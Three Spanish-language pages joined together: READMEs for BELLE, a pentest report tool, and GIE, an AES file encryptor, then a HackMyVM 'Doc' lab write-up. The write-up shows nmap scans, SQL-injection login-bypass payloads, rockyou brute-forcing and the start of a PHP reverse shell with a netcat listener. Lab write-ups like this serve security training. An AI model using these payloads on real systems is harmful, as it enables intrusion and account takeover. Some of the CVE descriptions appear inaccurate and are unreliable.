
![Belle Header](https://i.ibb.co/CptY9gzM/title2.png)

# BELLE

## 🔐 Qué es Belle y para qué sirve?

*De forma resumida:*
Belle es una aplicación de escritorio multiplataforma (Windows, Linux y macOS) diseñada para la creación y gestión de informes de ciberseguridad, especialmente pentesting. Permite a los usuarios estructurar hallazgos, agregar evidencia y generar informes profesionales en diversos formatos.

> [!NOTE]
> Disclaimer: Esta es solo una herramienta para crear reportes.

*Algunos ejemplos usando BELLE:*

[Doc](https://drive.google.com/file/d/1AUxPmv_p5vBa8ajfXQF_-snrgrmgg8Ly/view?usp=sharing)

[Vulnversity](https://drive.google.com/file/d/1gkD94lRSYaorLr0cYcpJn_2-CPHzUlEO/view?usp=sharing)

---

**💜 Belle es cross-platform, funciona en Windows, Linux y macOS.**

Ejemplo:
Un analista de seguridad puede documentar las vulnerabilidades encontradas en una auditoría, incluir capturas de pantalla, fragmentos de código y recomendaciones, y luego exportar el informe completo a PDF o LaTeX con solo unos pocos clics.

*En detalle:*
Belle facilita la organización de fases de un informe, la adición de entradas detalladas para cada hallazgo (con campos para severidad, descripción, recomendaciones, comandos de shell, fragmentos de código, URLs e imágenes). Su enfoque está en la eficiencia y la personalización, permitiendo la integración de logos y la exportación a formatos estándar de la industria.

![UI](https://i.postimg.cc/rFXXXsCH/op7.png)

![UI2](https://i.postimg.cc/PrYHPY5P/Captura-de-pantalla-2026-02-20-185209.png)

### Versión

**BELLE v2.0.0**

### 📦 Requisitos

- **Go v1.20+**
- **Node.js 16.0+** (Para la gestión de dependencias del frontend)
- **Wails CLI v2.0+** (Para compilar y ejecutar la aplicación)
- **Pandoc** (Herramienta para la conversión de documentos, esencial para la exportación a PDF/LaTeX)
- **Una distribución LaTeX (ej. TeX Live o MiKTeX)** (Necesaria para la generación de PDFs de alta calidad)

## ❓ Características

- **Generación de Informes de Pentesting:** Crea informes estructurados con fases, hallazgos y detalles.
- **Editor Markdown Integrado:** Permite la edición de contenido utilizando Markdown.
- **Gestión de Vulnerabilidades:** Añade, edita y elimina entradas de vulnerabilidades con campos ricos en detalles.
- **Exportación Flexible:** Exporta informes a PDF, LaTeX, Markdown y un formato `.belle` propietario para facilitar la colaboración.
- **Soporte Multimedia:** Inserta imágenes, tablas, fragmentos de código y URLs en los hallazgos.
- **Personalización Visual:** Incluye logo del cliente, imágenes de portada y personalización de colores.
- **Soporte Multi-idioma:** Interfaz y plantillas de informes disponibles en español e inglés.
- **Integración con LLMs (Opcional):** Asistencia para la redacción de recomendaciones o la mejora de texto mediante Gemini, Claude o OpenRouter.

### 🧑‍💻 Características técnicas

- **Backend:** Go (con el framework Wails para la integración con el frontend).
- **Frontend:** Svelte (un framework reactivo para la interfaz de usuario).
- **Gestión de estado:** Context API de Go, Svelte stores.
- **Construcción y empaquetado:** Wails y Vite.
- **Generación de documentos:** Pandoc para la conversión de Markdown a LaTeX/PDF.
- **Manejo de imágenes:** Procesamiento y redimensionamiento de imágenes en el backend.
- **Persistencia:** Almacenamiento de proyectos y configuraciones en archivos JSON.

### Estructura
El proyecto `BELLE` sigue una estructura organizada:
- `app.go`: Contiene la lógica principal del backend de Go, interactuando con el frontend a través de Wails.
- `main.go`: Punto de entrada de la aplicación Wails.
- `structs.go`: Define las estructuras de datos utilizadas en el proyecto (e.g., `Vulnerability`, `BelleProject`).
- `frontend/`: Contiene todo el código del frontend (Svelte, JavaScript, CSS).
- `translations.json`: Archivo de traducciones para la aplicaci贸n.
- Otros archivos de configuración y recursos.

## 💻 Instalación

Para instalar y ejecutar Belle, sigue estos pasos:

1.  **Clonar el repositorio:**
    ```bash
    git clone https://github.com/aiskoa/BELLE.git
    cd BELLE
    ```
2.  **Instalar dependencias de Node.js:**
    ```bash
    npm install
    ```
3.  **Compilar y ejecutar la aplicación:**
    Asegúrate de tener instalados Go, Node.js y la CLI de Wails.
    ```bash
    wails build # Para construir el ejecutable
    wails dev   # Para ejecutar en modo desarrollo
    ```
    Si encuentras errores al exportar a PDF, asegúrate de tener Pandoc y una distribución LaTeX (como TeX Live o MiKTeX) instalados y configurados en tu PATH.

---

### Función de ejemplo

Un ejemplo de cómo interactuar con el backend de Belle desde el frontend es la función `ExportMarkdown`. Esta función toma los datos del proyecto y los exporta a un archivo Markdown.

```go
func (a *App) ExportMarkdown(projectData string) (string, error) {
	// Prevenir condiciones de carrera para la exportaci贸n a Markdown
	a.exportMDMutex.Lock()
	defer a.exportMDMutex.Unlock()

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "inicio", "percent": 5})
	var project BelleProject
	err := json.Unmarshal([]byte(projectData), &project)
	if err != nil {
		runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
			Type:    runtime.ErrorDialog,
			Title:   "Error",
			Message: "No se pudo parsear los datos del proyecto para Markdown: " + err.Error(),
		})
		return "", err
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "generando contenido", "percent": 40})
	md, err := a.GenerateMarkdown(project, nil) // Llama a una función interna para generar el contenido Markdown
	if err != nil {
		runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
			Type:    runtime.ErrorDialog,
			Title:   "Error",
			Message: "No se pudo generar el Markdown: " + err.Error(),
		})
		return "", err
	}

	// Abre un diálogo para que el usuario guarde el archivo
	filePath, err := runtime.SaveFileDialog(a.ctx, runtime.SaveDialogOptions{
		Title:           "Exportar a Markdown",
		DefaultFilename: "reporte.md",
		Filters: []runtime.FileFilter{
			{DisplayName: "Markdown (*.md)", Pattern: "*.md"},
		},
	})
	if err != nil {
		return "", err
	}
	if filePath == "" {
		return "", nil
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "guardando archivo", "percent": 80})
	err = os.WriteFile(filePath, []byte(md), 0644) // Escribe el contenido en el archivo
	if err != nil {
		return "", err
	}

	runtime.EventsEmit(a.ctx, "export-progress", map[string]interface{}{"type": "markdown", "stage": "finalizado", "percent": 100})
	runtime.MessageDialog(a.ctx, runtime.MessageDialogOptions{
		Type:    runtime.InfoDialog,
		Title:   "脡xito",
		Message: "Reporte en Markdown exportado correctamente.",
	})
	return "ok", nil
}
```

> Asegurate de tener instalado la ultima versión de Wails, Node y Go en tu equipo.

**ATENCIÓN!!**

Si solo deseas usarla, puedes descargarla desde github o desde el sitio oficial según tu sistema.

**Desde Sitio Oficial:**
[⬇ Descargar Belle](https://edurne-ac.github.io/Belle-Reports/)

---

### TODO List

- [x] LLM
- [ ] Bloqueo por password PDF
- [ ] Mejor UI
- [ ] Templetes

### 🤝 Contribuyendo

¡Las contribuciones, los problemas y las solicitudes de características son bienvenidos! Siéntete libre de consultar la página de problemas.

### ❤️ Muestra tu apoyo

¡Da una ⭐️ si este proyecto te ayudó!

### 📝 Licencia

Copyright © 2026 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](https://github.com/Edurne-AC/BELLE/blob/main/LICENSE).

Belle Herramienta de Reportes para Pentesting


![GIE Header](https://i.ibb.co/KcDrDJvw/passpaititle.png)

# GIE

## 🔐 ¿Qué es GIE y para qué sirve?

*De forma resumida:*
Un cifrador y descifrador para archivos y carpetas para Windows, linux y macos, escrito en GO usando AES. 

**💜 GIE es cross-platform, funciona en Windows, Linux y macOS.**

Ejemplo: 
*Podra encriptar su archivo en windows y desencriptarlo en linux o viceversa*.

*En detalle:*
GIE (*Go-based Information Encryptor*), es una aplicación de escritorio multiplataforma construida utilizando el framework **Wails**. GIE está diseñada para el cifrado y descifrado seguro de archivos y directorios, aprovechando primitivas criptográficas robustas implementadas en **Go**. La aplicación tiene como objetivo proporcionar una interfaz fácil de usar para gestionar datos sensibles.

![Ejemplo de uso](https://i.postimg.cc/6pxZfhm8/Desktop2025-08-0906-27-27p-m-ezgif-com-optimize.gif)

### Versión

**GIE v1.2.5**

### 📦 Requisitos

- **Go v1.24+**
- **Wails v2.10+**
- **Node v22.17+**

## ❓ Características

- Cifra y descifra archivos y carpetas con AES, para cualquier tipo archivo sea.
- GIE sigue una arquitectura cliente-servidor facilitada por el framework Wails.
- Posiblidad de agregar pistas.
- Posibilidad de compartir archivos entre sistemas operativos.
- 3 niveles de protección (Bajo, Normal, Alto).
- Posibilidad de agregar un canal de cifrado para mayor seguridad.
- Ligero y facil de usar.
- Interfaz de usuario intuitiva y amigable.
- Open Source!.

### 🧑‍💻 Características tecnicas
Cifra y descifra tus archivos y carpetas con AES, para cualquier archivo sea: *jpg*, *zip*+, *mp4*, _mp3_, _docx_, _pdf_, etc...

GIE sigue una arquitectura cliente-servidor facilitada por el framework Wails. * Frontend (Cliente): Desarrollado con React (**Svelte**) y **TypeScript**, responsable de la interfaz de usuario y la interacción. Se comunica con el backend de **Go** a través de los mecanismos de comunicación entre procesos (IPC) de Wails. * Backend (Servidor): Implementado en Go, maneja toda la lógica central, incluyendo operaciones de archivo, procesos criptográficos e interacciones con el sistema.

GIE emplea un esquema de cifrado híbrido que combina **cifrado simétrico (AES CTR)** para la confidencialidad de los datos y un **Código de Autenticación de Mensajes (HMAC-SHA256)** para la integridad y autenticidad de los datos. La derivación de claves se realiza utilizando PBKDF2

Las claves de cifrado y HMAC se derivan de la contraseña del usuario utilizando PBKDF2(Password-Based Key Derivation Function 2) con SHA256 como función pseudoaleatoria. Se utilizan sales separadas para la clave AES y la clave HMAC para prevenir ataques entre protocolos. El número de iteraciones y la longitud de la clave son configurables según el nivel de cifrado elegido (Bajo, Normal, Alto).

La función PBKDF2 se define como:

$$
DK = PBKDF2

(PRF,Password,Salt,Iterations,KeyLength)
$$

Donde: 
- `DK`: Clave Derivada 
- `PRF`: Función Pseudoaleatoria (HMAC SHA256 en este caso) 
- `Password`: Contraseña proporcionada por el usuario 
- `Salt`: Sal aleatoria (16 bytes) 
- `Iterations`: Número de iteraciones (ej., *10,000 para Bajo*, *800,000 para Normal*, *12,000,000 para Alto*) 
- `KeyLength`: Longitud deseada de la clave derivada (16 bytes para AES-128, 32 bytes para AES-256)

AES en modo Contador (CTR) se utiliza para cifrar el contenido del archivo. El modo CTR transforma un cifrado por bloques en un cifrado de flujo, permitiendo el cifrado/descifrado paralelo y el acceso directo a cualquier parte del texto cifrado. Se utiliza un Vector de Inicialización (IV) único y generado aleatoriamente de 16 bytes para cada operación de cifrado. El proceso de cifrado en modo CTR se puede representar conceptualmente como:

$$
C_{i} = E_{K}(Nonce||Counter_{i}) \oplus P_{i}
$$

Donde: 
- `Ci`: i-ésimo bloque de texto cifrado 
- `EK`: Función de cifrado AES con clave K
- `Nonce`: Un valor único para cada cifrado (parte del IV) 
- `Counteri`: Un contador que se incrementa para cada bloque 
- `Pi`: i-ésimo bloque de texto plano 
- `⊕`: Operación XOR a nivel de bits

*HMAC-SHA256* se utiliza para garantizar la integridad y autenticidad de los datos cifrados y sus metadatos asociados. 
El HMAC se calcula sobre todo el archivo cifrado, incluyendo la cabecera de metadatos (longitud de la pista, pista, canal, código de nivel de cifrado, sal AES, sal HMAC, IV CTR) y el texto cifrado. Esto evita la manipulación tanto de los datos como de sus parámetros críticos.

La función HMAC se define como:

$$
HMAC_{K}(m)=H((K⊕opad)

||H((K ⊕ipad)||m))
$$

Donde: 
- `H`: Función hash (SHA256 en este caso) 
- `K`: Clave secreta (clave HMAC derivada) 
- `m`: Mensaje (metadatos || texto cifrado) 
- `ipad`: Relleno interno (0x36 repetido) 
- `opad`: Relleno externo (0x5C repetido) 
- `||`: Concatenación

### Estructura de Metodo

| Campo             | Tamaño (Bytes) | Descripción                                                                   |
|-------------------|----------------|-------------------------------------------------------------------------------|
| Pista             | Variable       | Longitud de la pista proporcionada por el usuario para el archivo                            |
| Canal             | 2              | uint16, un canal definido por el usuario para agrupar archivos                |
| Código Nivel Cifrado | 1              | byte, código que representa la fuerza del cifrado (0=Bajo, 1=Normal, 2=Alto) |
| Sal Clave AES     | 16             | Sal aleatoria para la derivación de la clave AES                              |
| Sal Clave HMAC    | 16             | Sal aleatoria para la derivación de la clave HMAC                             |
| IV CTR            | 16             | Vector de Inicialización aleatorio para AES-CTR                               |
| Texto Cifrado     | Variable       | Contenido cifrado del archivo original                                        |
| Etiqueta HMAC     | 32             | HMAC-SHA256 de todos los datos precedentes (metadatos + texto cifrado)        |

GIE proporciona una solución robusta y segura para el cifrado de archivos y directorios, construida sobre tecnologías multiplataforma modernas. Su diseño prioriza tanto la seguridad a través de prácticas criptográficas sólidas como la usabilidad a través de una interfaz gráfica responsiva

El siguiente diagrama de secuencia muestra el flujo de trabajo completo del procesamiento de archivos con llamadas a funciones reales:
![Flujo de la aplicación](https://i.ibb.co/JjVCxXnJ/032ff1f6-8b79-427b-a38d-b161ebd79422.png)

El backend se basa en una estructura central de la aplicación que actúa como controlador principal de la aplicación y expone métodos al frontend a través del marco Wails.
![Estructura de la aplicación y componentes principales](https://i.ibb.co/mVcC1jbL/image.png)

Si desea saber más a profundidad, puede consultar el [Repositorio de GitHub](https://github.com/aiskoa/GIE) para obtener detalles adicionales y ejemplos de uso.

De igual forma puede consultar con [DeepWiki](https://deepwiki.com/aiskoa/GIE)

## 💻 Instalación

Ejecuta los comandos según tu caso (Win o Linux)

Clona o descarga este repositorio

```batch
git@github.com:aiskoa/GIE.git
```

Cambia de directorio

```batch
cd GIE
```

Instala las dependencias

```batch
npm install
```
Y ejecuta

`wails build` para compilar la aplicación

> Asegurate de tener instalado la ultima versión de Wails, Node y Go en tu equipo.

**ATENCIÓN!!**

Si solo deseas usarla, puedes descargarla desde github o desde el sitio oficial según tu sistema.

**Desde Sitio Oficial:**
[⬇ Descargar GIE](https://gie-aiskoa.vercel.app)

**Requisitos Minimos:**
- Windows 10/11 / Debian / macOS Ventura o posterior
- 1 GB de espacio en disco
- 2 GB de memoria RAM

---

## 🔒 ¿Cómo Cifrar?

> De momento solo esta disponible mediante la GUI.

Para **Cifrar** una carpeta o archivo

- **Arrastre ó busque el archivo al programa (Interfaz Gráfica)**
- **Introduce una contraseña (Importante recordarla)**
- Escriba una pista parar la contraseña (Opcional)
- Elija el canal de cifrado (Opcional)
- Elija el nivel de cifrado (Opcional)
- **Clic en "Encrypt"**
- **Esto Convierte el archivo a (.gie)**

Una vez el archivo este cifrado en **.gie** este no podra ser abierto, leido o modificado.
Tenga en cuenta que GIE funciona para cualquier tipo de archivo, incluso para archivos grandes.

👀 **OJO** SI ENCRIPTA POR ERROR ALGÚN ARCHIVO O FUNCIONALIDAD DE **GIE** LA UNICA FORMA DE RESTAURARLO ES REINSTALANDO EL PROGRAMA!

**⚠️⚠️ IMPORTATE ⚠️⚠️**

- La unica forma de "recuperar" el achivo nuevamente es mediante el programa **GIE** desencriptandolo.
- Si deseas compartir el archivo con tu colega, amigo o equipo de trabajo, tendrás que proporcionarle el .gie, la contraseña utilizada y canal (si aplica).
- **SI OLVIDA O PIERDE LA CONTRASEÑA, NO PODRÁ RECUPERAR EL ARCHIVO SI NO SE ESCRIBIÓ UNA PISTA.**
- **SI PUSO UN CANAL TAMBIÉN DEBERÁ RECORDARLO DE LO CONTRARIO NO PODRÁ RECUPERAR EL ARCHIVO.**

![Ejemplo encriptando un PDF](https://i.postimg.cc/6pxZfhm8/Desktop2025-08-0906-27-27p-m-ezgif-com-optimize.gif)

## 🔓 ¿Cómo Descifrar?

> De momento solo esta disponible mediante la GUI.

Para **Desencriptar** un archivo

- **Arrastre ó busque el archivo (.gie) al programa (Interfaz Gráfica)**
- **Introduce la contraseña (Obligatorio)**
- Elija el canal de cifrado (Opcional)
- **Clic en "Decrypt"**
- **Esto Convierte el archivo a su estado natural**

Tenga en cuenta que solo funcionará para archivos **.gie** cifrados.
Solo funciona con archivos encriptados por GIE (Go-based Information Encryptor) actual v1.2.5 o superior.

👀 **OJO** NO FUNCIONARÁ CON ARCHIVOS .GIE VERSIÓN PYTHON, SOLO CON LA VERSIÓN ESCRITA EN GO!!

- La unica forma de "recuperar" el achivo nuevamente es mediante el programa **GIE** desencriptandolo.
- Si deseas compartir el archivo con tu colega, amigo o equipo de trabajo, tendrás que proporcionarle el .gie, la contraseña utilizada y canal (si aplica).
- **SI OLVIDA O PIERDE LA CONTRASEÑA, NO PODRÁ RECUPERAR EL ARCHIVO SI NO SE ESCRIBIÓ UNA PISTA.**
- **SI PUSO UN CANAL TAMBIÉN DEBERÁ RECORDARLO DE LO CONTRARIO NO PODRÁ RECUPERAR EL ARCHIVO.**

![Ejemplo desencriptando un PDF](https://i.postimg.cc/0yGwWJTc/ezgif-com-optimize.gif)

---

### Función de cifrado a directorios

```go
func (a *App) EncryptDirectory(dirPath string, password string, hint string, encryptionLevel string, channel int) string {
	if password == "" {
		return "Encryption failed: password cannot be empty."
	}

	// Check if path is actually a directory
	isDir, err := a.IsDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error checking if path is directory: %v", err)
	}
	if !isDir {
		return "Selected path is not a directory."
	}

	// Get all files in directory
	files, err := a.GetFilesInDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error getting files from directory: %v", err)
	}

	if len(files) == 0 {
		return "No files found in directory to encrypt."
	}

	// Track results
	var results []string
	successCount := 0

	for i, file := range files {
		fmt.Printf("Encrypting file %d/%d: %s\n", i+1, len(files), file)

		result := a.EncryptFile(file, password, hint, encryptionLevel, channel)
		if result == "success" {
			successCount++
			results = append(results, fmt.Sprintf("✓ %s", filepath.Base(file)))
		} else {
			results = append(results, fmt.Sprintf("✗ %s: %s", filepath.Base(file), result))
		}
	}

	// Return summary
	summary := fmt.Sprintf("Directory encryption completed: %d/%d files encrypted successfully", successCount, len(files))
	if successCount < len(files) {
		summary += "\n\nDetailed results:\n" + strings.Join(results, "\n")
	}

	return summary
}
```

### Función de desifrado a directorios

```go
func (a *App) DecryptDirectory(dirPath string, password string, channel int) string {
	if password == "" {
		return "Decryption failed: password cannot be empty."
	}

	// Check if path is actually a directory
	isDir, err := a.IsDirectory(dirPath)
	if err != nil {
		return fmt.Sprintf("Error checking if path is directory: %v", err)
	}
	if !isDir {
		return "Selected path is not a directory."
	}

	// Get all .gie files in directory
	var encryptedFiles []string

	err = filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}

		// Only add .gie files
		if !info.IsDir() && strings.HasSuffix(path, ".gie") {
			encryptedFiles = append(encryptedFiles, path)
		}
		return nil
	})

	if err != nil {
		return fmt.Sprintf("Error scanning directory: %v", err)
	}

	if len(encryptedFiles) == 0 {
		return "No encrypted files (.gie) found in directory to decrypt."
	}

	// Track results
	var results []string
	successCount := 0

	for i, file := range encryptedFiles {
		fmt.Printf("Decrypting file %d/%d: %s\n", i+1, len(encryptedFiles), file)

		result := a.DecryptFile(file, password, false, channel)
		if result == "success" {
			successCount++
			results = append(results, fmt.Sprintf("✓ %s", filepath.Base(file)))
		} else {
			results = append(results, fmt.Sprintf("✗ %s: %s", filepath.Base(file), result))
		}
	}

	// Return summary
	summary := fmt.Sprintf("Directory decryption completed: %d/%d files decrypted successfully", successCount, len(encryptedFiles))
	if successCount < len(encryptedFiles) {
		summary += "\n\nDetailed results:\n" + strings.Join(results, "\n")
	}

	return summary
}
```

---

### 📖 Documentación

[Consulte la Documentación y Guias de uso](https://gie-aiskoa.vercel.app/docs/)

## 📝 Changelog

[Consulte el Historial de Cambios](https://gie-aiskoa.vercel.app/changelog)

### ✍️ Lista de Tareas

- [x] Pista de la contraseña
- [ ] Cambio de tema
- [ ] Soporte en Android
- [ ] Soporte en iOS
- [ ] Posibilidad de uso desde terminal sin GUI (API o MCP)
- [x] Comprobación de contraseña
- [x] AES reforzado
- [x] Menú de interfaz de usuario
- [x] Encriptación de carpetas y directorios completos


### 🤝 Contribuyendo

¡Las contribuciones, los problemas y las solicitudes de características son bienvenidos! Siéntete libre de consultar la página de problemas.

### ❤️ Muestra tu apoyo

¡Da una ⭐️ si este proyecto te ayudó!

### 📝 Licencia

Copyright © 2024 [aiskoa](https://aiskoa.vercel.app). Este proyecto tiene licencia [MIT](https://github.com/aiskoa/GIE/blob/main/LICENSE).

GIE Encriptar y Desencriptar archivos


# Máquina "Doc" (HackMyVM)

[📝 Download PDF Report](https://drive.google.com/file/d/1AUxPmv_p5vBa8ajfXQF_-snrgrmgg8Ly/view?usp=sharing)

[🖥️ Machine Link](https://hackmyvm.eu/machines/machine.php?vm=Doc)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

A continuación se relata el reporte de pentesting para la máquina **Doc (OTOMS)** de **HackMyVM** con una dificultad *Facil*.
Se abarcará el uso de Burp Suite hasta el uso de comandos nativos en Linux.

Resumen:

* Escaneo de puertos
* Inyección de SQL
* Explotación de vulnerabilidades
* Reverse Shell Remoto
* Escala de privilegios

**IMPORTANTE** Debes tener una máquina virtual o un sistema operativo de auditoría con privilegios de root y una conexión a Internet.

## Metodologia

* Reconocimiento
* Enumeración
* Búsqueda y análisis de vulnerabilidades
* Explotación
* Post-explotación

**Reconocimiento**: Responde a las preguntas ¿Qué se atacará? y ¿Qué formará
parte de la prueba?

**Enumeración**: Se recolecta toda información posible de lo que se atacará para
realizar la prueba sin contratiempos

**Búsqueda y análisis de vulnerabilidades**: Identifica debilidades sobre lo que se
atacará, puertos, procesos, servicios entre otros.

**Explotación**: Aquí se comienza con el ataque utilizando todo lo anterior y con las
herramientas correctas.

**Post explotación**: Se buscan posibles vulnerabilidades extra o que más se podrá
atacar.

**Reporte de las pruebas**: Se redacta todo lo que se va haciendo durante la
auditoria.

## Reconocimiento yEnumeración

Durante el pre acuerdo se estableció que la maquina Objetivo se encuentra en la Red bajo la IP **192.168.50.129** por lo que esta se convierte en **la máquina objetivo** y de nuestro lado nuestra maquina se representa con la IP **192.168.50.131** .

Gracias a esto procedemos a lanzar un ping a la maquina victima y esperar respuesta.

Una vez con la respuesta por parte de la maquina victima confirmamos mediante el TTL que estamos frente a una máquina **Linux**, aún desconocemos su distribución y versión pero eso lo sabremos más adelante.

Con esta información podemos proceder a lanzar el escaneo usando **Nmap** y esperar que nos de el resultado, en este caso usamos un *--min-rate* alto ya que nos encontramos en un laboratorio controlado y podemos lanzar multiples trazas.

El comando desglosado:

| Campo | Valor |
| --- | --- |
| `-sV` | Intenta determinar la versión de los servicios que se estan ejecutando |
| `-p <x> or -p-` | Escaneo de puertos para el puerto `<x>` o todos |
| `-Pn` | Deshabilita la detección de host y el escaneo de puertos abiertos |
| `-A` | Habilita la detección de OS y la versión, integra más scripts |
| `-sC` | Escanea los scripts predeterminado de Nmap |
| `-v` | Modo detallado |
| `-sS` | TCP escaneo de puertos SYN |
| `-sU` | UDP escaneo |

**Comandos de Shell:**

```bash
nmap -p- -sV 192.168.50.129 --min-rate 5000 -oN all_ports.nmap -Pn

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>
```

Al estar en una red local también podemos ejecutar el comando:

```bash
sudo arp-scan --localnet"
```

**Descripción:**
Una vez ejecutado el comando anterior nos arrojó los siguientes servicios corriendo en el sistema.

```bash
Nmap scan report for 192.168.50.129
Host is up (0.00077s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Online Traffic Offense Management System - PHP
MAC Address: 08:00:27:8A:A8:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds
```

Aqui se enumeran las vulnerabilidades de los servicios listados

**nginx 1.18.0:**:

**CVE-2021-23017**: Una vulnerabilidad de desbordamiento de búfer en la implementación HTTP/2 de NGINX, que permite a atacantes remotos ejecutar código arbitrario.

**CVE-2021-3618**: Una vulnerabilidad en el resolutor NGINX que permite a atacantes remotos provocar una denegación de servicio (DoS) o ejecutar código arbitrario.

**CVE-2020-11724**: Una vulnerabilidad en el procesamiento de solicitudes HTTP de NGINX que permite a atacantes remotos provocar una denegación de servicio (DoS).

Exploits:

**NGINX HTTP/2 Request Flooding**: Un exploit que aprovecha la vulnerabilidad CVE-2021-23017, permitiendo a los atacantes inundar el servidor con solicitudes HTTP/2, lo que provoca una denegación de servicio (DoS).

**NGINX Resolver Vulnerability**: Un exploit que aprovecha la vulnerabilidad CVE-2021-3618, lo que permite a los atacantes provocar una denegación de servicio (DoS) o, potencialmente, ejecutar código arbitrario.

### Hazaña

Apenas entrar al sitio notamos que no carga por completo lo que es extraño, al revisar y hacer hovering a el login notamos que este deberia redirigir a un domino **doc.hmv** pero este no lo hace.

![Screenshot of Index page](https://i.postimg.cc/PrXjyPPv/sitio-web-victima.png
)

![Screenshot of de tools](https://i.postimg.cc/s2cPp68h/confirmamos-el-dominio.png
)

Entonces como hacemos para que esos recursos carguen como deben?, debe
mos modificar en nuestro sistema como se manejan los dominios, para ellos nos dirigimos a **/etc/hosts** y lo modificamos con nano, ahí agregamos el dominio doc.hm a la ip victima 192.168.50.129 y guardamos, una vez hecho esto y al recargar la pagina notamos que el sitio ahora carga perfectamente junto a todos los recursos e imágenes, entonces ahora somos libres de dar clic al botón de login haber a donde nos redirige

![Screenshot of /etc/hosts](https://i.postimg.cc/zDMCSRd0/modificando-hosts.png)

Ahora podemos observar que todo carga correctamente incluso el panel de login.

![Screenshot of index otoms](https://i.postimg.cc/B6nTN59w/carga.png)

![Screenshot of admin login](https://i.postimg.cc/Kvw0zWSc/admin-login.png)

Nos topamos con un login para administradores, lastimosamente no tenemos acceso a el, probamos credenciales por defecto como admin admin o admin password, pero no se tiene éxito en ello. Podemos probar hacer fuzzing al dominio para ver mas directorios, pero por este momento no lo haremos. También podemos intentar por fuerza bruta y averiguar el usuario, al no encontrar nada mas que nos sea de utilidad en el sitio usamos ese login de admin, asi que primero probemos con burp suite, e interceptamos la respuesta y nos encontramos con algo interesante.

Es una sentencia sql a la base de datos que responde con incorrect

```sql
SELECT * FROM users WHERE username = 'admin' AND password = md5('admin')
```

## Explotación

### SQLi

Nos damos cuenta que esta sentencia sql no esta sanitizada por lo que se puede hacer sqli (**una inyección sql**) con esto podemos lograr devolver datos de una tabla. Ponemos el usuario vacio y ponemos una sentencia booleana 1=1 que esto siempre es correcto, y algo falso con algo correcto en OR siempre será algo correcto. siendo asi podemos intentar con algo simple, como esto

![Screenshot of SQLi consult](https://i.postimg.cc/C5d4MGcf/burpsuite1.png)

```sql
SELECT * FROM users WHERE username ='' OR 1=1#' AND password = md5('admin')
```

![Screenshot of SQLi](https://i.postimg.cc/8PZV0N6K/sqli-enviado.png)

Como tal la inyección sqli ya es una forma de explotación.

Al poner la sentencia y recargar logramos entrar. de igual forma podemos poner la sentencia sql directamente en el formulario de login.

**Recomendación:** Sanitizar los formularios para las consultas sql, agregar una url de imagen, símbolos como **" (°’#* "** pueden causar problemas similares.

```sql
' OR 1=1-- -
```

ó

```sql
' OR 1=1#
```

Al entrar podemos visualizar los usuarios, editar su información, editar el sitio entero cambiarle el nombre u otros datos, asi como ver los usuarios administradores o con accesos. 

Ahí vemos que el nombre de usuario de estos son: **vagrant**, **jsmith** y el usuario con el que entramos **adminyo** podemos editar este pero no podemos editar su contraseña.
Asi que nos ponemos manos a la obra para encontrar la contraseña de este usuario vagrant usando burp suite para la fuerza bruta.

![Screenshot of users panel](https://i.postimg.cc/6p8FbRwq/users-edit.png)

### Encontrando el password para vagrant

Usaremos **fuerza bruta** con *rockyou.txt* pero para ahorrarnos algo de tiempo podemos probar primero con las primeras 100 líneas. con el comando

bash
```bash
head-n 100 /usr/share/wordlist/rockyou.txt > dicpec.txt
```

El cual nos ayudará para la fuerza bruta Una vez cargado el diccionario y establecido el marcador iniciamos el ataque, si en el diccionario se encuentra la contraseña correcta el servidor respondera con handshake de ok o respuesta success. Sea por código de estado o por la longitud de la respuesta. 

Asi el diccionario prueba todas esas contraseñas, vagrant iloveyou, vagrant 12345, vagrant princess, asi hasta encontrar la correcta.

Entonces encontramos que **chelsea** es la contraseña para el usuario vagrant ya que nos respondio con status sucesss, ahora podemos ingresar al panel con este usuario. vagrant, chelsea que es un usuario administrador Windows server según el dashboard

![Fuerza bruta con rockyou](https://i.postimg.cc/Y041BpS6/fuerza-bruta-rock-you.png)

![Screenshot of password](https://i.postimg.cc/br6F3YB1/vagrant-password.png)

Notamos que vagrant es un usuario administrador de windows server, probablemente esto pueda ser de ayuda para más adelante u otra maquina.

### LFI Reverse Shell

Descripción: Como sabemos el sitio esta programado en PHP y si suponemos que el sitio no esta del todo bien programado debido a la facilidad para entrar gracias a la inyección sql también podemos esperar que podamos subir archivos corruptos o de otro tipo a los input de subida de imagen como lo vimos en la maquina de vulnversity de tryhackme, al ser php tenemos que encontrar la exensión que pueda ser aceptada por php para subir una reverse shell, asi que probaremos con la extensión .php como inicio.

Eso puede servirnos para algunas reverse shell que nos ayuden y modificarlas o usar el sitio de revshells y buscar alguna php y solo introducir los datos necesarios. Y entonces después de eso subimos la reverse shell como si fuera una imagen y sorpresiva
mente se sube sin ningún problema, y si apuntamos a donde se subio ese archivo podemos generar la sesión, solo hace falta dar clic derecho en la imagen.

Nos ponemos en escucha por el puerto asignado en en la reverse shell en este caso el 4444 con 
netcat.

```bash
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '<IP>';
$port = <PORT>;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
